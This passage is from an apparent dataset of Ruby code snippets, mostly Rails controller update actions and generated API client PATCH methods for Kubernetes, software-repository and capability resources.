KubernetesApi#patch_kubernetes_virtual_machine_instance_type\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @momsg = Momsg.find(params[:id])\n\n respond_to do |format|\n if @momsg.update_attributes(params[:momsg])\n format.html { redirect_to @momsg, notice: 'Momsg was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @momsg.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pharmaceutical_master.update(pharmaceutical_master_params)\n format.html { redirect_to @pharmaceutical_master, notice: UPDATE_NOTICE }\n format.json { render :show, status: :ok, location: @pharmaceutical_master }\n else\n format.html { render :edit }\n format.json { render json: @pharmaceutical_master.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @geographic_item.update(geographic_item_params)\n format.html { redirect_to @geographic_item.metamorphosize, notice: 'Geographic item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @geographic_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_kubernetes_version_with_http_info(moid, kubernetes_version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_version ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_version\"\n end\n # verify the required parameter 'kubernetes_version' is set\n if @api_client.config.client_side_validation && kubernetes_version.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_version' when calling KubernetesApi.patch_kubernetes_version\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/Versions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_version)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesVersion'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_version\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_version\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @methodology.update(methodology_params)\n User.post_feed(current_user, \"#{current_user.full_name} editou uma metodologia - #{@methodology.title}\")\n format.html { redirect_to @methodology, notice: 'Metodologia atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @methodology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @osm.update(osm_params)\n format.html { redirect_to @osm, notice: 'Osm was successfully updated.' }\n format.json { render :show, status: :ok, location: @osm }\n else\n format.html { render :edit }\n format.json { render json: @osm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n if @carbon_monoxide.update(carbon_monoxide_params)\n render json @carbon_monoxide\n else\n render json: @carbon_monoxide.errors, status: :unprocessable_entity\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @physic = Physic.find(params[:id])\n\n respond_to do |format|\n if @physic.update_attributes(params[:physic])\n format.html { redirect_to @physic, notice: 'Physic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @monel = Monel.find(params[:id])\n\n respond_to do |format|\n if @monel.update_attributes(params[:monel])\n format.html { redirect_to @monel, notice: 'Monel was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @regular_chemical.update(regular_chemical_params)\n format.html { redirect_to mol_front_index_path, notice: 'Regular chemical was successfully updated.' }\n format.json { render :show, status: :ok, location: @regular_chemical }\n else\n format.html { render :edit }\n format.json { render json: @regular_chemical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meteorological_data = MeteorologicalData.find(params[:id])\n\n respond_to do |format|\n if @meteorological_data.update_attributes(params[:meteorological_data])\n format.html { redirect_to(@meteorological_data, :notice => 'MeteorologicalData was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meteorological_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wing.update(wing_params)\n @wing.floors.each { |f| f.touch }\n format.html { redirect_to @wing, notice: t('.update_ok', item: @wing.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @magictown.update(magictown_params)\n format.html { redirect_to @magictown, notice: 'Magictown was successfully updated.' }\n format.json { render :show, status: :ok, location: @magictown }\n else\n format.html { render :edit }\n format.json { render json: @magictown.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mystic.update(mystic_params)\n format.html { redirect_to @mystic, notice: 'Mystic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mystic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @indication_generic_map.update(indication_generic_map_params)\n format.html { redirect_to @indication_generic_map, notice: 'Indication generic map was successfully updated.' }\n format.json { render :show, status: :ok, location: @indication_generic_map }\n else\n format.html { render :edit }\n format.json { render json: @indication_generic_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dis_generic_monograph_params\n params.require(:dis_generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)\n end",
"def update\n respond_to do |format|\n if @chronicle.update(chronicle_params)\n format.html { redirect_to @chronicle, notice: t('flash_message.notice.successfully_updated', model: Chronicle.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n\n if @plate.update(params[:plate])\n head :no_content\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @micropst.update(micropst_params)\n format.html { redirect_to @micropst, notice: \"Micropst was successfully updated.\" }\n format.json { render :show, status: :ok, location: @micropst }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @micropst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end",
"def update\n respond_to do |format|\n if @houmon.update(houmon_params)\n format.html { redirect_to @houmon, notice: 'Houmon was successfully updated.' }\n format.json { render :show, status: :ok, location: @houmon }\n else\n format.html { render :edit }\n format.json { render json: @houmon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ministerio = Ministerio.find(params[:id])\n\n respond_to do |format|\n if @ministerio.update_attributes(params[:ministerio])\n format.html { redirect_to @ministerio, notice: 'Ministerio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ministerio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_softwarerepository_operating_system_file_with_http_info(moid, softwarerepository_operating_system_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SoftwarerepositoryApi.patch_softwarerepository_operating_system_file ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling SoftwarerepositoryApi.patch_softwarerepository_operating_system_file\"\n end\n # verify the required parameter 'softwarerepository_operating_system_file' is set\n if @api_client.config.client_side_validation && softwarerepository_operating_system_file.nil?\n fail ArgumentError, \"Missing the required parameter 'softwarerepository_operating_system_file' when calling SoftwarerepositoryApi.patch_softwarerepository_operating_system_file\"\n end\n # resource path\n local_var_path = '/api/v1/softwarerepository/OperatingSystemFiles/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(softwarerepository_operating_system_file)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SoftwarerepositoryOperatingSystemFile'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"SoftwarerepositoryApi.patch_softwarerepository_operating_system_file\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SoftwarerepositoryApi#patch_softwarerepository_operating_system_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n if @go_slim.update_attributes(params[:go_slim])\n format.html { redirect_to @go_slim, notice: 'Go slim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_slim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @smallmap = Smallmap.find(params[:id])\n\n respond_to do |format|\n if @smallmap.update_attributes(params[:smallmap])\n format.html { redirect_to @smallmap, notice: 'Smallmap was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @smallmap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cephalopod.update(cephalopod_params)\n format.html { redirect_to @cephalopod, notice: 'Cephalopod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cephalopod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n\n respond_to do |format|\n if @aggregate_metadatum.update_attributes(params[:aggregate_metadatum])\n format.html { redirect_to @aggregate_metadatum, notice: 'Aggregate metadatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aggregate_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mobs_nano = MobsNano.find(params[:id])\n\n respond_to do |format|\n if @mobs_nano.update_attributes(params[:mobs_nano])\n flash[:notice] = 'MobsNano was successfully updated.'\n format.html { redirect_to mobs_nano_url(@mobs_nano) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mobs_nano.errors.to_xml }\n end\n end\n end",
"def update_metadata(params)\n @client.put(metadata_path, nil, params, \"Content-Type\" => \"application/json\")\n end",
"def update\n respond_to do |format|\n format.json { render json: { status: :not_implemented } }\n end\n end",
"def update\n respond_to do |format|\n if @physio.update(physio_params)\n format.html { redirect_to @physio, notice: 'Physio was successfully updated.' }\n format.json { render :show, status: :ok, location: @physio }\n else\n format.html { render :edit }\n format.json { render json: @physio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n update_medium\n end",
"def update\n @moretinymap = Moretinymap.find(params[:id])\n\n respond_to do |format|\n if @moretinymap.update_attributes(params[:moretinymap])\n format.html { redirect_to @moretinymap, notice: 'Moretinymap was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moretinymap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @monnaie = Monnaie.find(params[:id])\n\n respond_to do |format|\n if @monnaie.update_attributes(params[:monnaie])\n format.html { redirect_to @monnaie, notice: 'Monnaie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monnaie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @moon.update(moon_params)\n format.html { redirect_to @moon, notice: 'Moon was successfully updated.' }\n format.json { render :show, status: :ok, location: @moon }\n else\n format.html { render :edit }\n format.json { render json: @moon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stat_misc = StatMisc.find(params[:id])\n\n respond_to do |format|\n if @stat_misc.update_attributes(params[:stat_misc])\n format.html { redirect_to @stat_misc, notice: 'Stat misc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stat_misc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n # update shops\n shops_edit = JSON.parse(params[:mall][:shops_in_mall])\n\n respond_to do |format|\n if @mall.update_with_shops(mall_params, shops_edit)\n format.html { redirect_to director_malls_path, notice: 'Mall was successfully updated.' }\n format.json { render :show, status: :ok, location: @mall }\n else\n format.html {\n @shops = Shop.to_options.to_json\n @shops_in_mall = @mall.shops.to_options.to_json\n render :edit\n }\n format.json { render json: @mall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hot_master.update(hot_master_params)\n format.html { redirect_to @hot_master, notice: UPDATE_NOTICE }\n format.json { render :show, status: :ok, location: @hot_master }\n else\n format.html { render :edit }\n format.json { render json: @hot_master.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @microplst = Microplst.find(params[:id])\n\n respond_to do |format|\n if @microplst.update_attributes(params[:microplst])\n format.html { redirect_to @microplst, notice: 'Microplst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microplst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ontology.update(ontology_params)\n format.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n format.json { render :show, status: :ok, location: @ontology }\n else\n format.html { render :edit }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @generic_item.update(generic_item_params)\n format.html { redirect_to \"/catalog/#{@generic_item.id}\", notice: 'Generic item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @generic_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @serving.update(serving_params)\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { render :show, status: :ok, location: @serving }\n else\n format.html { render :edit }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jogo.update(jogo_params)\n format.html { redirect_to @jogo, notice: 'Jogo was successfully updated.' }\n format.json { render :show, status: :ok, location: @jogo }\n else\n format.html { render :edit }\n format.json { render json: @jogo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @omim.update(omim_params)\n format.html { redirect_to @omim, notice: 'Omim was successfully updated.' }\n format.json { render :show, status: :ok, location: @omim }\n else\n format.html { render :edit }\n format.json { render json: @omim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_attr\n #sanity checks \n @persona = current_persona\n @mediaset = @persona.mediasets.find(params[:id])\n \n respond_to do |format|\n @mediaset.update_attributes( params[:mediaset] )\n format.json{ respond_with_bip(@mediaset) }\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def patch_capability_sioc_module_manufacturing_def_with_http_info(moid, capability_sioc_module_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_sioc_module_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_sioc_module_manufacturing_def\"\n end\n # verify the required parameter 'capability_sioc_module_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_manufacturing_def' when calling CapabilityApi.patch_capability_sioc_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_sioc_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_sioc_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @micrrapost = Micrrapost.find(params[:id])\n\n respond_to do |format|\n if @micrrapost.update_attributes(params[:micrrapost])\n format.html { redirect_to @micrrapost, notice: 'Micrrapost was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @micrrapost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @magnetic_field.update(magnetic_field_params)\n format.html { redirect_to @magnetic_field, notice: 'Magnetic field was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @magnetic_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sermon_picture = SermonPicture.find(params[:id])\n\n respond_to do |format|\n if @sermon_picture.update_attributes(params[:sermon_picture])\n format.html { redirect_to @sermon_picture, notice: 'Sermon picture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sermon_picture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(data = :object || :json)\n end",
"def update\n respond_to do |format|\n if @tatoo.update(tatoo_params)\n format.html { redirect_to tatoos_path, notice: 'Tatoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tatoo }\n else\n format.html { render :edit }\n format.json { render json: @tatoo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dis_generic_monograph = DisGenericMonograph.new(dis_generic_monograph_params)\n\n respond_to do |format|\n if @dis_generic_monograph.save\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully created.' }\n format.json { render :show, status: :created, location: @dis_generic_monograph }\n else\n format.html { render :new }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_softwarerepository_category_mapper_with_http_info(moid, softwarerepository_category_mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SoftwarerepositoryApi.patch_softwarerepository_category_mapper ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling SoftwarerepositoryApi.patch_softwarerepository_category_mapper\"\n end\n # verify the required parameter 'softwarerepository_category_mapper' is set\n if @api_client.config.client_side_validation && softwarerepository_category_mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'softwarerepository_category_mapper' when calling SoftwarerepositoryApi.patch_softwarerepository_category_mapper\"\n end\n # resource path\n local_var_path = '/api/v1/softwarerepository/CategoryMappers/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(softwarerepository_category_mapper)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SoftwarerepositoryCategoryMapper'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"SoftwarerepositoryApi.patch_softwarerepository_category_mapper\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SoftwarerepositoryApi#patch_softwarerepository_category_mapper\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @tipo_maguey.update(tipo_maguey_params)\n format.html { redirect_to @tipo_maguey, notice: 'Tipo maguey actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @tipo_maguey }\n else\n format.html { render :edit }\n format.json { render json: @tipo_maguey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @minor.update(minor_params)\n format.html { redirect_to :show, notice: 'Minor was successfully updated.' }\n format.json { render :show, status: :ok, location: @minor }\n else\n format.html { render :edit }\n format.json { render json: @minor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @microopost = Microopost.find(params[:id])\n\n respond_to do |format|\n if @microopost.update_attributes(params[:microopost])\n format.html { redirect_to @microopost, :notice => 'Microopost was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @microopost.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @building = Building.find(params[:id])\n\n if @building.update_attributes(building_params)\n head :no_content\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @wall_plate.update(wall_plate_params)\n format.html { redirect_to @wall_plate, notice: 'Wall plate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wall_plate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game_object_metum.update(game_object_metum_params)\n format.html { redirect_to game_game_object_metum_path(@game, @game_object_metum), notice: 'Game object metum was successfully updated.' }\n format.json { render :show, status: :ok, location: game_game_object_metum_path(@game, @game_object_metum) }\n else\n format.html { render :edit }\n format.json { render json: @game_object_metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @file = @map.meta_data\n # binding.pry\n\n @meta_data = []\n @kind = @map.kind\n fips_to_hc_key\n @map.meta_data = @meta_data\n\n respond_to do |format|\n if @map.update(map_params)\n format.html { redirect_to @map, notice: 'Map was successfully updated.' }\n format.json { render :show, status: :ok, location: @map }\n else\n format.html { render :edit }\n format.json { render json: @map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n # @model.name = \"test\"\n @model.scale = 1\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @musico.update(musico_params)\n format.html { redirect_to @musico, notice: 'Musico was successfully updated.' }\n format.json { render :show, status: :ok, location: @musico }\n else\n format.html { render :edit }\n format.json { render json: @musico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def modify_server(server_uuid, params)\n data = { \"server\" => params }\n json = JSON.generate data\n response = put \"server/#{server_uuid}\", json\n\n response\n end",
"def update\n respond_to do |format|\n if @routed_generic.update(routed_generic_params)\n format.html { redirect_to @routed_generic, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @routed_generic }\n else\n format.html { render :edit }\n format.json { render json: @routed_generic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_kubernetes_baremetal_node_profile_with_http_info(moid, kubernetes_baremetal_node_profile, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_baremetal_node_profile ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_baremetal_node_profile\"\n end\n # verify the required parameter 'kubernetes_baremetal_node_profile' is set\n if @api_client.config.client_side_validation && kubernetes_baremetal_node_profile.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_baremetal_node_profile' when calling KubernetesApi.patch_kubernetes_baremetal_node_profile\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/BaremetalNodeProfiles/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_baremetal_node_profile)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesBaremetalNodeProfile'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_baremetal_node_profile\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_baremetal_node_profile\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return 